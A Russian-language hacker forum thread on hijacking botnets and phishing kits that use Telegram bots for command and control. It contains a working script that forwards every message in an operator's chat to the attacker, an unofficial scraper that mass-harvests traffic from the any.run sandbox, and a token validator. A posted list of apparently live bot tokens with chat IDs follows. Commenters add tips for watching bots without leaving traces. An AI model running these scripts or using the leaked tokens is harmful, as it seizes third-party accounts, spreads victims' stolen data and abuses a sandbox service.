LIMB
Вход Регистрация

тема

Кража Telegram C2 и фишинг панелей (бонус: неофициальный api app.any.run и раздача токенов)

ec5745y · · 15 ответов · 688 просмотров

Взлом Telegram C2 ботнетов
Не удалось прогрузить медиа

​
В этой статье я на тысячах примеров покажу, как украсть любой ботнет или фишинг, который для отправки логов использует Telegram, бонусом - как делать это автоматически.

1. Перехват токена
2. Автоматизация
3. Защита


Перехват токена

У токена телеграм бота нет никаких градаций по привилегиям, токены, в свою очередь в еденичном экземпляре привязаны к телеграм ботам.
Если токен утекает к атакующему, он будет иметь те же привилегии, что и владелец бота, а сам владелец никак не сможет ограничить возможности бота. Единственное что может сделать владелец при утечке - отозвать токен, однако в таком случае, будет необходимо обновить этот токен в приложениях, где он был ранее.
Несмотря на эти проблемы, бесчисленное множество ботнетов и фишинг сайтов используют именно этот метод для своей инфраструктуры.
Обусловлено это тем, что хостинг телеграм бота осуществляется внутри телеграма и бесплатен.

Чтобы получить токен, нет смысла реверсить приложение, достаточно лишь перехватить трафик. Для этого идеально подойдёт http debugger или wireshark (разве что необходимо импортировать сертификаты).
Для фишинга всё ещё проще, ведь для перехвата токена достаточно лишь браузера и просмотра запросов, где и будет лежать токен.


Можно подумать, что /getupdates выдаст сообщения
Не удалось прогрузить медиа

Это редкость!
Однако он хранит лишь недавние сообщения, получить же всё не выйдет, даже если токен рабочий. 
Не удалось прогрузить медиа



Нужна небольшая хитрость!
Сперва необходимо узнать юзернейм бота, сделать это можно по такому GET запросу
 (просто открыть ссылку в браузере)
Code:
https://api.telegram.org/botTOKEN/getme
Не удалось прогрузить медиа


Далее необходимо запустить бота, в этом примере, его юзернейм - @bizbotics_bot

Отступление:
телеграм бот не может просто хранить сообщения, ему необходимо их куда-то отправить. В перехваченном запросе всегда будет ID аккаунта/чата/канала владельца C2 (зачастую это личные аккаунты...)

После того как бот будет запущен, в дело идёт этот код:
Python:
import requests
import time

TOKEN = " " # ТОКЕН БОТА
src =  # АЙДИ ПОЛЬЗОВАТЕЛЯ C2 (который был перехвачен)
dst =  # АЙДИ КУДА ПРИНЯТЬ СООБЩЕНИЯ (твой id)

url = f"https://api.telegram.org/bot{TOKEN}/forwardMessage"

for mid in range(1, 10000):
    response = requests.get(
        url,
        params={
            "chat_id": dst,
            "from_chat_id": src,
            "message_id": mid,
        },
        timeout=20,
    )
    result = response.json()
    if result.get("ok"):
        print(f"{mid} переслано")
    else:
        print(f"{mid} : {result}")
    time.sleep(0.1)
Хитрость состоит в том, что сообщения (логи) хранит не сам бот, а чат. Все сообщения пронумерованы и с ними можно делать разные действия (удалять, модифицировать, пересылать).

Поэтому, благодаря этому коду, бот будет пересылать сообщения по одному в твой чат.
Зачастую, владелец бота может удалять первые сообщения, где он проверяет работоспособность бота, а так же мусорные логи.
Поэтому бот на некоторых сообщениях может выдавать ошибку, что их не существует.

Если же ошибок об отсутствии сообщений слишком много - сообщения в чате закончились (нужно остановить скрипт).

Не удалось прогрузить медиа



Автоматизация

Есть сервис app.any.run. Пользователи грузят туда файлы. ссылки и всё подряд. Большая часть из этого - малварь.
Сервис выдаёт доступ к виртуальной машине, чтобы юзер мог с этим взаимодействовать.
На этом сайте есть много фильтров, как и активных пользовтелей (новые записи происходят несколько раз за секунду). 
Помимо этого, сервис автоматически логирует весь трафик и показывает его содержимое!

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Не удалось прогрузить медиа


Таким образом, менее чем за минуту и с нуля, можно найти подходящую цель (малварь или фишинг) и перехватить токен с id С2

На этом этапе, я изначально хотел перейти к последней части статьи, однако появилась идея автоматизировать добычу ботнетов.
app.any.run предоставляет api только по подписке самого высокого уровня, которую выдают лишь корпам и гос. службам. Даже приобрести подписку просто не выйдет.
Поэтому вот неофициальный API для app.any.run (хоть и писал ИИ, но работает очень хорошо)


Python:
# anyrunhttp.py

import argparse
import copy
import json
import os
import re
import secrets
import sys
import time
from collections import deque
from datetime import datetime, timezone
from pathlib import Path


class AnyRunError(Exception):
    def __init__(self, label, error=None):
        error = error or {}
        self.code = error.get("error")
        reason = error.get("reason") or error.get("message") or "Connection failed"
        super().__init__(f"{label}: {reason}" + (f" [{self.code}]" if self.code else ""))


def id_string(value):
    return value if isinstance(value, str) else (value or {}).get("$value")


def oid(value):
    return {"$type": "oid", "$value": id_string(value)}


def domain_name(value):
    value = str(value or "").strip().lower().rstrip(".")
    if not re.fullmatch(r"(?=.{1,253}$)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z0-9-]{2,63}", value):
        raise ValueError("Expected a domain, e.g. api.telegram.org")
    return value


def task_uuid(value):
    match = re.fullmatch(r"(?:https://app\.any\.run/tasks/)?([0-9a-f]{8}(?:-[0-9a-f]{4}){3}-[0-9a-f]{12})/?", str(value).strip(), re.I)
    if not match:
        raise ValueError("Expected task UUID or https://app.any.run/tasks/<uuid>/")
    return match.group(1).lower()


def bounded(value, default, maximum):
    if value is None:
        return default
    if isinstance(value, bool) or not re.fullmatch(r"[0-9]+", str(value)):
        raise ValueError(f"Expected integer from 1 to {maximum}")
    number = int(value)
    if not 1 <= number <= maximum:
        raise ValueError(f"Expected integer from 1 to {maximum}")
    return number


def iso_time(milliseconds=None):
    date = datetime.now(timezone.utc) if milliseconds is None else datetime.fromtimestamp(milliseconds / 1000, timezone.utc)
    return date.isoformat(timespec="milliseconds").replace("+00:00", "Z")


def date_value(value):
    if not value:
        return None
    date = datetime.fromisoformat(value.replace("Z", "+00:00"))
    if date.tzinfo is None:
        date = date.replace(tzinfo=timezone.utc)
    return {"$date": int(date.timestamp() * 1000)}


class DDP:
    def __init__(self, timeout=30):
        self.timeout = timeout
        self.ws = None
        self.seq = 0
        self.queue = deque()
        self.collections = {}

    def __enter__(self):
        try:
            import websocket
        except ImportError as exc:
            raise RuntimeError("Install dependency: python3 -m pip install -r requirements.txt") from exc
        try:
            url = f"wss://app.any.run/sockjs/{secrets.randbelow(900) + 100}/{secrets.token_hex(8)}/websocket"
            self.ws = websocket.create_connection(url, timeout=self.timeout,
                origin="https://app.any.run", header={
                    "Referer": "https://app.any.run/",
                    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
                })
            self.wait("connect", "DDP connect")
            token = os.environ.get("ANYRUN_RESUME_TOKEN")
            if token:
                self.call("login", {"resume": token})
            return self
        except BaseException:
            self.close()
            raise

    def close(self):
        if self.ws:
            try:
                self.ws.close(timeout=1)
            except Exception:
                pass
            self.ws = None

    def __exit__(self, *args):
        self.close()

    def send(self, message):
        if self.ws is None:
            raise ConnectionError("WebSocket is not connected")
        self.ws.send(json.dumps([json.dumps(message, ensure_ascii=False)], ensure_ascii=False))

    def frame(self, frame):
        if isinstance(frame, bytes):
            frame = frame.decode("utf-8")
        if frame == "o":
            self.send({"msg": "connect", "version": "1", "support": ["1"]})
        elif frame == "h":
            return
        elif not frame or frame.startswith("c"):
            raise ConnectionError("SockJS connection closed")
        elif frame.startswith("a"):
            self.queue.extend(json.loads(raw) for raw in json.loads(frame[1:]))
        else:
            raise RuntimeError("Unexpected SockJS frame")

    def wait(self, target, label):
        deadline = time.monotonic() + self.timeout
        while True:
            remaining = deadline - time.monotonic()
            if remaining <= 0:
                raise TimeoutError(f"{label}: timeout after {self.timeout} s")
            if not self.queue:
                self.ws.settimeout(remaining)
                self.frame(self.ws.recv())
                continue
            message = self.queue.popleft()
            kind = message.get("msg")
            if kind == "ping":
                self.send({"msg": "pong", **({"id": message["id"]} if "id" in message else {})})
            elif kind in ("added", "changed", "removed"):
                docs = self.collections.setdefault(message["collection"], {})
                key = message["id"]
                if kind == "removed":
                    docs.pop(key, None)
                else:
                    doc = {**docs.get(key, {}), **message.get("fields", {}), "_id": key}
                    for cleared in message.get("cleared", []):
                        doc.pop(cleared, None)
                    docs[key] = doc
            elif kind == "connected" and target == "connect":
                return message
            elif kind in ("failed", "error"):
                raise AnyRunError(label, message)
            elif kind == "result" and message.get("id") == target:
                if message.get("error"):
                    raise AnyRunError(label, message["error"])
                return message.get("result")
            elif kind == "ready" and target in message.get("subs", []):
                return target
            elif kind == "nosub" and message.get("id") == target:
                raise AnyRunError(label, message.get("error") or {"reason": "Subscription stopped before ready"})

    def call(self, name, *params):
        self.seq += 1
        key = f"m{self.seq}"
        self.send({"msg": "method", "method": name, "params": list(params), "id": key})
        return self.wait(key, name)

    def subscribe(self, name, *params):
        self.seq += 1
        key = f"s{self.seq}"
        self.send({"msg": "sub", "name": name, "params": list(params), "id": key})
        self.wait(key, name)
        return key

    def unsubscribe(self, key):
        self.send({"msg": "unsub", "id": key})

    def docs(self, name):
        return list(self.collections.get(name, {}).values())


class AnyRunClient:
    def __init__(self, timeout=30, pause=0.3):
        self.timeout = timeout
        self.pause = pause

    def session(self):
        return DDP(self.timeout)

    def search(self, query, *, max_tasks=50, cursor=None, from_date=None, to_date=None):
        domain = domain_name(query)
        max_tasks = bounded(max_tasks, 50, 10000)
        dates = [date_value(from_date), date_value(to_date)]
        if all(dates) and dates[0]["$date"] > dates[1]["$date"]:
            raise ValueError("--from must precede --to")
        if cursor is not None and not isinstance(cursor, list):
            raise ValueError("--cursor must be the JSON array returned as nextCursor")
        with self.session() as ddp:
            items, seen, cursors = [], set(), set()
            next_cursor, total, exhausted, limited = cursor, None, False, False
            while len(items) < max_tasks:
                params = {"hash": "", "runtype": [], "extension": [], "country": "", "verdict": [],
                    "threatName": "", "fileHash": "", "domain": domain, "ip": "", "mitreId": "", "sid": "",
                    "url": "", "dateRange": dates}
                if next_cursor:
                    params["cursor"] = next_cursor
                result = ddp.call("getAnalysisPublicAdvancedTi", params)
                if not isinstance(result, dict) or not isinstance(result.get("items"), list):
                    raise RuntimeError("Search response schema changed: missing items")
                total = result.get("totalHits", total)
                for item in result["items"]:
                    key = item.get("uuid") or id_string(item.get("_id"))
                    if not key:
                        raise RuntimeError("Search item missing task identifier")
                    if key not in seen:
                        seen.add(key)
                        items.append(item)
                next_cursor = result.get("nextCursor") or None
                if not result["items"] or not next_cursor:
                    exhausted = True
                    break
                key = json.dumps(next_cursor, sort_keys=True)
                if key in cursors:
                    raise RuntimeError("Repeated search pagination cursor")
                cursors.add(key)
                if len(items) >= max_tasks:
                    limited = True
                    break
                time.sleep(self.pause)
            overflow = items[max_tasks:]
            return {"query": domain, "totalHits": total, "items": items[:max_tasks], "overflow": overflow,
                "nextCursor": next_cursor, "exhausted": exhausted and not overflow,
                "limitReached": limited or bool(overflow)}

    @staticmethod
    def get_task(ddp, uuid):
        task = ddp.call("getTaskByUUID", uuid)
        if not isinstance(task, dict) or not task.get("_id"):
            raise RuntimeError("Task not found or not accessible")
        return task

    def task(self, value):
        uuid = task_uuid(value)
        with self.session() as ddp:
            return self.get_task(ddp, uuid)

    def requests(self, value, *, host=None, side="request", max_requests=1000, max_body_bytes=262144):
        uuid = task_uuid(value)
        domain = domain_name(host) if host else None
        if side not in ("request", "response", "both", "none"):
            raise ValueError("Invalid side")
        max_requests = bounded(max_requests, 1000, 10000)
        max_body_bytes = bounded(max_body_bytes, 262144, 262144)
        sides = ["request", "response"] if side == "both" else [] if side == "none" else [side]
        with self.session() as ddp:
            task = self.get_task(ddp, uuid)
            task_id = id_string(task["_id"])
            limit, subscription = min(50, max_requests), None
            while True:
                previous = subscription
                subscription = ddp.subscribe("requests-analysis", {"limit": limit, "taskId": task_id,
                    "searchParam": domain or "", "hideWhitelisted": False})
                rows = [row for row in ddp.docs("requests-analysis") if id_string(row.get("task")) == task_id]
                if previous:
                    ddp.unsubscribe(previous)
                exhausted = len(rows) < limit
                if exhausted or limit >= max_requests:
                    break
                limit = min(limit + 50, max_requests)
                time.sleep(self.pause)
            rows.sort(key=lambda row: ((row.get("time") or {}).get("$date", 0), row["_id"]))
            rows = [row for row in rows if not domain or str(row.get("host", "")).lower() == domain]
            requests, cache = [], {}
            for row in rows[:max_requests]:
                stamp = (row.get("time") or {}).get("$date")
                code = row.get("code")
                item = {"id": row["_id"], "uuid": row.get("id"), "method": row.get("method"),
                    "url": row.get("request"), "host": row.get("host"),
                    "statusCode": int(code) if str(code).isdigit() else None,
                    "time": iso_time(stamp) if stamp is not None else None,
                    "process": {"name": row.get("processName"), "pid": row.get("processPid")},
                    "bodies": {}, "raw": copy.deepcopy(row)}
                body_metadata = row.get("body") or {}
                needed = [s for s in sides if (body_metadata.get(s) or {}).get("size", 0) > 0]
                for s in sides:
                    if s not in needed:
                        item["bodies"][s] = {"status": "empty", "size": 0, "text": None, "json": None}
                if needed:
                    content = ddp.call("getContentHeads", task["_id"], {"type": "parent", "searchParam": oid(row["_id"])})
                    if not isinstance(content, dict) or not all(isinstance(content.get(k), list) for k in ("entries", "heads")):
                        raise RuntimeError("Content response schema changed")
                    for s in needed:
                        entry = next((e for e in content["entries"] if e.get("type") == f"HTTP_{s.upper()}" and id_string(e.get("parent")) == row["_id"]), None)
                        head = next((h for h in content["heads"] if entry and id_string(h.get("_id")) == id_string(entry.get("head"))), None)
                        data = (head or {}).get("data") or {}
                        size = data.get("size", body_metadata[s]["size"])
                        if not data.get("gridfs") or data.get("removed"):
                            item["bodies"][s] = {"status": "unavailable", "size": size, "text": None, "json": None}
                            continue
                        if not (data.get("preview") or {}).get("text"):
                            item["bodies"][s] = {"status": "not_text", "size": size, "text": None, "json": None}
                            continue
                        key = id_string(data["gridfs"])
                        if key not in cache:
                            text = ddp.call("getTextPreview", {"id": data["gridfs"], "taskId": task["_id"],
                                "from": 0, "len": min(size, max_body_bytes)})
                            if not isinstance(text, str):
                                raise RuntimeError("Preview response schema changed: expected text")
                            cache[key] = text
                            time.sleep(self.pause)
                        text = cache[key]
                        try:
                            parsed = json.loads(text)
                        except ValueError:
                            parsed = None
                        item["bodies"][s] = {"status": "truncated" if size > max_body_bytes else "ok", "size": size,
                            "entryId": id_string(entry["_id"]), "headId": id_string(head["_id"]),
                            "sha256": (data.get("hashes") or {}).get("sha256"), "text": text, "json": parsed}
                requests.append(item)
            return {"taskUuid": uuid, "taskUrl": f"https://app.any.run/tasks/{uuid}/", "host": domain,
                "side": side, "count": len(requests), "limitReached": not exhausted,
                "maxBodyBytes": max_body_bytes, "requests": requests}

    def collect(self, query, *, max_tasks=10, cursor=None, from_date=None, to_date=None, **request_options):
        domain = domain_name(query)
        search = self.search(domain, max_tasks=max_tasks, cursor=cursor, from_date=from_date, to_date=to_date)
        reports, errors = [], []
        for item in search["items"]:
            try:
                reports.append(self.requests(item.get("uuid"), host=domain, **request_options))
            except Exception as error:
                errors.append({"taskUuid": item.get("uuid"), "error": str(error)})
                if str(getattr(error, "code", "")) in ("401", "403", "429"):
                    break
            time.sleep(self.pause)
        return {"query": domain, "collectedAt": iso_time(),
            "search": {"totalHits": search["totalHits"], "selected": len(search["items"]),
                "nextCursor": search["nextCursor"], "overflow": search["overflow"], "limitReached": search["limitReached"]},
            "complete": not errors and len(reports) == len(search["items"]), "reports": reports, "errors": errors}


def main(argv=None):
    parser = argparse.ArgumentParser(description="ANY.RUN unofficial CLI — search and export HTTP bodies.",
        epilog="Example: python3 cli.py collect api.telegram.org --max-tasks 10 --out result.json")
    parser.add_argument("command", choices=["search", "task", "requests", "collect", "uuids"])
    parser.add_argument("value", help="Domain for search/collect/uuids; task UUID or URL for task/requests")
    parser.add_argument("--host", help="Exact HTTP host filter for requests")
    parser.add_argument("--side", choices=["request", "response", "both", "none"], default="request")
    parser.add_argument("--max-tasks", help="Default: 10 collect / 50 search; maximum 10000")
    parser.add_argument("--max-requests", default="1000")
    parser.add_argument("--max-body-bytes", default="262144")
    parser.add_argument("--from", dest="from_date", help="ISO date; no timezone means UTC")
    parser.add_argument("--to", dest="to_date", help="ISO date; no timezone means UTC")
    parser.add_argument("--cursor", help="JSON nextCursor; consume overflow before resuming")
    parser.add_argument("--out", type=Path, help="UTF-8 JSON output file; otherwise stdout")
    args = parser.parse_args(argv)
    try:
        request_options = {"side": args.side, "max_requests": bounded(args.max_requests, 1000, 10000),
            "max_body_bytes": bounded(args.max_body_bytes, 262144, 262144)}
        search_options = {"max_tasks": bounded(args.max_tasks, 10 if args.command == "collect" else 50, 10000),
            "from_date": args.from_date, "to_date": args.to_date, "cursor": json.loads(args.cursor) if args.cursor else None}
        client = AnyRunClient()
        if args.command == "task":
            result = client.task(args.value)
        elif args.command == "requests":
            result = client.requests(args.value, host=args.host, **request_options)
        elif args.command == "uuids":
            result = client.search(args.value, **search_options)
            for item in result["items"]:
                uuid = item.get("uuid") or id_string(item.get("_id"))
                if uuid:
                    print(uuid)
            return 0 if result["items"] else 2
        elif args.command == "search":
            result = client.search(args.value, **search_options)
        else:
            result = client.collect(args.value, **search_options, **request_options)
        text = json.dumps(result, ensure_ascii=False, indent=2) + "\n"
        if args.out:
            args.out.write_text(text, encoding="utf-8")
            print(f"Saved {args.out}", file=sys.stderr)
        else:
            sys.stdout.write(text)
        return 2 if result.get("complete") is False else 0
    except KeyboardInterrupt:
        print("Interrupted", file=sys.stderr)
        return 130
    except Exception as error:
        print(f"Error: {error}", file=sys.stderr)
        return 1


if __name__ == "__main__":
    if hasattr(sys.stdout, "reconfigure"):
        sys.stdout.reconfigure(encoding="utf-8")
    raise SystemExit(main())

Иногда, токены ботов могут быть неправильными или истёкшими.
Для фильтрации и проверки:

Python:
# testtoken.py

import json
import re
import sys
import urllib.request
from urllib.parse import parse_qs, unquote
from collections import defaultdict

TOKEN_RE = re.compile(r"/bot([0-9]{6,12}:[A-Za-z0-9_-]{20,})/", re.IGNORECASE)


def extract_bot_token(url):
    if not isinstance(url, str):
        return None
    match = TOKEN_RE.search(url)
    return match.group(1) if match else None


def extract_chat_id_from_value(value):
    if value is None:
        return None

    if isinstance(value, dict):
        chat_id = value.get("chat_id")
        if chat_id is not None:
            return str(chat_id)
        return None

    if not isinstance(value, str):
        return None

    text = value.strip()
    if not text:
        return None
    try:
        parsed = json.loads(text)
    except (json.JSONDecodeError, TypeError, ValueError):
        parsed = None
    if isinstance(parsed, dict):
        chat_id = parsed.get("chat_id")
        if chat_id is not None:
            return str(chat_id)

    values = parse_qs(text, keep_blank_values=True)
    if values.get("chat_id"):
        return values["chat_id"][0]

    match = re.search(r"(?:^|[?&\s{,])['\"]?chat_id['\"]?\s*[:=]\s*['\"]?(-?\d+)", text, re.IGNORECASE)
    return match.group(1) if match else None


def extract_chat_id_from_url(url):
    if not isinstance(url, str):
        return None
    try:
        if "?" not in url:
            return None
        query = url.split("?", 1)[1]
        query = unquote(query)
        values = parse_qs(query, keep_blank_values=True)
        if values.get("chat_id"):
            return values["chat_id"][0]
    except Exception:
        pass
    return None


def extract_chat_id(request):
    chat_id = extract_chat_id_from_url(request.get("url"))
    if chat_id is not None:
        return chat_id

    bodies = request.get("bodies") or {}

    for side in ("request", "response"):
        body = bodies.get(side) or {}
        for key in ("json", "text"):
            chat_id = extract_chat_id_from_value(body.get(key))
            if chat_id is not None:
                return chat_id

    return None


def iter_requests(data):
    if isinstance(data, list):
        for item in data:
            if isinstance(item, dict):
                yield item
        return

    if not isinstance(data, dict):
        return

    if isinstance(data.get("requests"), list):
        for item in data["requests"]:
            if isinstance(item, dict):
                yield item

    reports = data.get("reports")
    if isinstance(reports, list):
        for report in reports:
            if not isinstance(report, dict):
                continue
            requests = report.get("requests")
            if isinstance(requests, list):
                for item in requests:
                    if isinstance(item, dict):
                        yield item


def load_json(path=None):
    if path:
        with open(path, "r", encoding="utf-8") as file:
            return json.load(file)
    return json.load(sys.stdin)


def is_valid_token(token: str) -> bool:
    url = f"https://api.telegram.org/bot{token}/getMe"
    try:
        with urllib.request.urlopen(url, timeout=5) as resp:
            data = json.load(resp)
            ok = bool(data.get("ok"))
            return ok
    except Exception as e:
        return False


def main():
    if len(sys.argv) > 1 and sys.argv[1] in ("-h", "--help"):
        print(__doc__)
        return 0

    data = load_json(sys.argv[1] if len(sys.argv) > 1 else None)
    print("bot_token,chat_id")

    rows = []
    for request in iter_requests(data):
        token = extract_bot_token(request.get("url"))
        if not token:
            continue

        chat_id = extract_chat_id(request) or ""
        rows.append((token, chat_id))

    by_token = defaultdict(set)
    for token, chat_id in rows:
        by_token[token].add(chat_id)
    for token, chat_ids in by_token.items():
        if not is_valid_token(token):
            continue

        non_empty = sorted(c for c in chat_ids if c)
        if non_empty:
            print(token + "," + ",".join(non_empty))
        else:
            print(f"{token},")

    return 0


if __name__ == "__main__":
    sys.exit(main())

Чтобы найти токены и отфильтровать:
python3 anyrunhttp.py collect api.telegram.org --max-tasks 1000 > collect.json
cat collect.json | python3 testtoken.py > valid.txt

В valid.txt будут токены и id c2 в том же формате, что я опубликовал в раздаче (https://darklimb.vip/threads/8069/)


Защита
Тут всё очень просто!
Для того чтобы избежать чтения логов - можно использовать асимметричное шифрование (это актуально для любых C2).
Однако в конечном счёте, сообщения могут быть удалены. Защиту от этой проблемы без использования сервера сделать невозможно.
Я предлагаю использовать децентрализованные сети: i2p, tor, yggdrasil, freenet.
Адрес и ключи будут заданы изначально, а для доступа можно в любой момент подключиться и собрать логи. При этом, кража логов или блокировки будут невозможны.
На гитхабе уже существует множество реализаций этого подхода в различных ботнетах.

На этом всё!
На все вопросы по статье отвечу в комментах. Если проблема с настройкой, лучше спросить тут а не в ЛС - больше пользователей поймёт как решить проблему.


Исходники:

Forum: darklimb.vip
Author: @ec5745y 
​
👍34 😮4 👏9 🤔7
Раздача:
Привет! Скоро выпущу статью о масс взломе ботнетов, которые используют Telegram в качестве C2.

Формат:
токен бота, айди чата
CSS:
8798681434:AAFXfLD8v4SalrzZCnavcsjVvJO1quVzWgA,-5238151960
8944782005:AAGyWgnafcHCEhoytbh_BqF6ZQ-jVleinhM,2063742983
8552023614:AAFsoM1ZOPw1D5_DIvBNtQp_zsb_faK5VmQ,8368519006
8556588068:AAEHV6YYkeGJeTPv3wkeoPGIfRPdRBBRSjY,-5538422583
8239271259:AAEINj6MsASBl-4LI2NbYxwVUWStmBKhhIY,5844261229
6653707750:AAH8FnJ2NPNdO2wFz6V47dNO-CLiPXhkEHU,5821336792
7842519054:AAFo7X7Ck72-8s9JHt9boAxHhaSm8A_EDEs,
8641506267:AAEbN_66ROK_uwtCLRY_uzdYhTcK7MnLCpg,6150170455...
  • Не удалось прогрузить медиа
👍5 🔥1
чуть не понял, обьясните тупому. крипт же это все закрывает с нулевой, любой дерьмо крипт за 5$, все льют с криптом, абсолютно. или я чего то не понимаю 
👍1
Ответaxyet

чуть не понял, обьясните тупому. крипт же это все закрывает с нулевой, любой дерьмо крипт за 5$, все льют с криптом, абсолютно. или я чего то не понимаю

Крипт никак не помогет. Он не может зашифровать  трафик. Просмотра трафика достаточно, чтобы взломать такой ботнет.
👍2
Ответec5745y

Крипт никак не помогет. Он не может зашифровать трафик. Просмотра трафика достаточно, чтобы взломать такой ботнет.

крипт может помочь, если он имеет защиту от сэндбоксов, придется ручками раскрывать бинарь и ловить c2. да и много ты видел малварей с с2 тг? большинство используют прокладку в виде cloudflare workers (которые кстати бесплатные)
👍5 ❤️1
Ответm3t0xxx

да и много ты видел малварей с с2 тг?

Да как бы тысячи... Сливаю же токены сотнями
Ответm3t0xxx

если он имеет защиту от сэндбоксов

Нууу сомнительно, это очень просто обходить.
Ответm3t0xxx

используют прокладку в виде cloudflare workers

Тогда им совсем не нужно использовать телеграм, сущесвует тот же Cloudflare Tunnel.
Хотя даже при cloudflare workers можно всё ещё зареверсить, а возможно даже трафик просмотреть. Всё ещё лучше чем тг боты.
Это вообще значения не имеет, суть в том, что токен у которого права для просмотра другой даты, а не только передачи инфы в одну сторону - не может попадать в чужие руки ни в каком виде. Если подобна проблема есть в cloudflare - взломать C2 и у них можно.

Немного сонный, надеюсь объяснил
👍1
Ответec5745y

Да как бы тысячи... Сливаю же токены сотнями Нууу сомнительно, это очень просто обходить. Тогда им совсем не нужно использовать телеграм, сущесвует тот же Cloudflare Tunnel. Хотя даже при cloudflare workers можно всё…

токены могут сливать и сами малварщики, зачастую токены пустые и это чисто тесты на работоспособность. 
по поводу кф тунель, тебе надо держать хост в аптайме и не дай бог у тебя выключат свет или интернет.
как ты взламывать кф воркера я так и не понял, это по факту мост, через который проходит трафик, чтобы не утек тг бот токен
👍5 🔥1
Ответm3t0xxx

токены могут сливать и сами малварщики, зачастую токены пустые и это чисто тесты на работоспособность. по поводу кф тунель, тебе надо держать хост в аптайме и не дай бог у тебя выключат свет или интернет. как ты…

Cloudflare worker это полноценный сервер. На нём можно развернуть очень многое.
Возможно, ты где-то читал о том как развернуть тг бота на серверах cloudflare.
В таком случае можно развернуть и нормальный C2.
Судя из того что ты описал, если токен не передаёт сам пользователь - он отправляет данные просто на сервер cloudlfare, где cloudflare формирует и отправляет запрос в telegram (такая конструкция безопасна, но это никак не прокси).
Взаимодействие с токеном происходит внутри C2 сервера Cloudflare, а не снаружи. В Telegram происходит лишь дубликация логов, а не их изначальная отправка. Надеюсь объяснил.


А на счёт малварщиков которые тестят отстук - такие токены не проходят фильтрацию. Колво токенов на аккаунт строго ограничено и подобные токены просто отзывают.
👍3
Не удалось прогрузить медиа
Не удалось прогрузить медиа

нашел бота рансом группы
Ответhackerman

Не удалось прогрузить медиа Не удалось прогрузить медиа нашел бота рансом группы

Поздравляю! С тебя донат 100 рублей!
👍3
Ответы на вопросы из ЛС:

Отмена разобрался, только в src = # АЙДИ ПОЛЬЗОВАТЕЛЯ C2 надо id бота или чата?
В src необходимо ложить ID владельца ботнета. Это не ID бота, а ID, куда бот отправляет логи.
                                                                                                                                                                   
бро не совсем понял, токен у любого бота, када стартуешь с ним чат, перехватить можно или только тот что в эни ран загрузили?
Если малварь использует телеграм в качестве C2 - можно перехватить токен и ID чата C2.
Для этого необходимо инспектировать трафик.
Нет, нельзя взломать просто любого бота в телеграме.

Привет, я не совсем понимаю, как ты перехватываешь id владельца этих ботов? В getupdates пусто, а в getme только id бота.
Обращения к getupdates не нужно, как и getme для перехвата. Нужно испектировать трафик при запуске малвари, чтобы перехватить эти данные.
👍3
Чтобы вообще не оставлять следов, вы можете входить по токену в аккаунт бота и просматривать сообщения которые он отправляет)
На андроид есть клиент Telegraph (graphmessenger[.]com) . На ПК я такого не нашёл, но уверен что существует) 
👍1
Ответasdweb

Чтобы вообще не оставлять следов, вы можете входить по токену в аккаунт бота и просматривать сообщения которые он отправляет) На андроид есть клиент Telegraph (graphmessenger[.]com) . На ПК я такого не нашёл, но уверен…

Да, подобные клиенты типа Telegraph или BGram могут смотрет сообщения.
Однако делают они это через GetUpdates, что к сожелению не позволит смотреть старые сообщения.
👍4 ❤️1
Ответ
Сообщение: ec5745y
Ответasdweb

Чтобы вообще не оставлять следов, вы можете входить по токену в аккаунт бота и просматривать сообщения которые он отправляет) На андроид есть клиент Telegraph (graphmessenger[.]com) . На ПК я такого не нашёл, но уверен…

Да, подобные клиенты типа Telegraph или BGram могут смотрет сообщения.
Однако делают они это через GetUpdates, что к сожелению не позволит смотреть старые сообщения.
это да, огорчает. Но можно просто дальнейшую пересылку не делать а просто следить что бот отсылает. 
👍1
Ответasdweb

asdweb said: Чтобы вообще не оставлять следов, вы можете входить по токену в аккаунт бота и просматривать сообщения которые он отправляет) На андроид есть клиент Telegraph (graphmessenger[.]com) . На ПК я такого не…

Да, подобные клиенты типа Telegraph или BGram могут смотрет сообщения.
Однако делают они это через GetUpdates, что к сожелению не позволит смотреть старые сообщения.

это да, огорчает. Но можно просто дальнейшую пересылку не делать а просто следить что бот отсылает. 
я когда следил раньше за доксерами ( в году 22 ) через зеркало гб ощущал себя как режиссер шоу трумана) это было забавно как дети пугались
👍5 ❤️1
Ответasdweb

asdweb said: Чтобы вообще не оставлять следов, вы можете входить по токену в аккаунт бота и просматривать сообщения которые он отправляет) На андроид есть клиент Telegraph (graphmessenger[.]com) . На ПК я такого не…

Да, подобные клиенты типа Telegraph или BGram могут смотрет сообщения.
Однако делают они это через GetUpdates, что к сожелению не позволит смотреть старые сообщения.

это да, огорчает. Но можно просто дальнейшую пересылку не делать а просто следить что бот отсылает. 
Всё же клиент использовать для этого неудобно, лучше написать норм скрипт для автоматического сбора

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.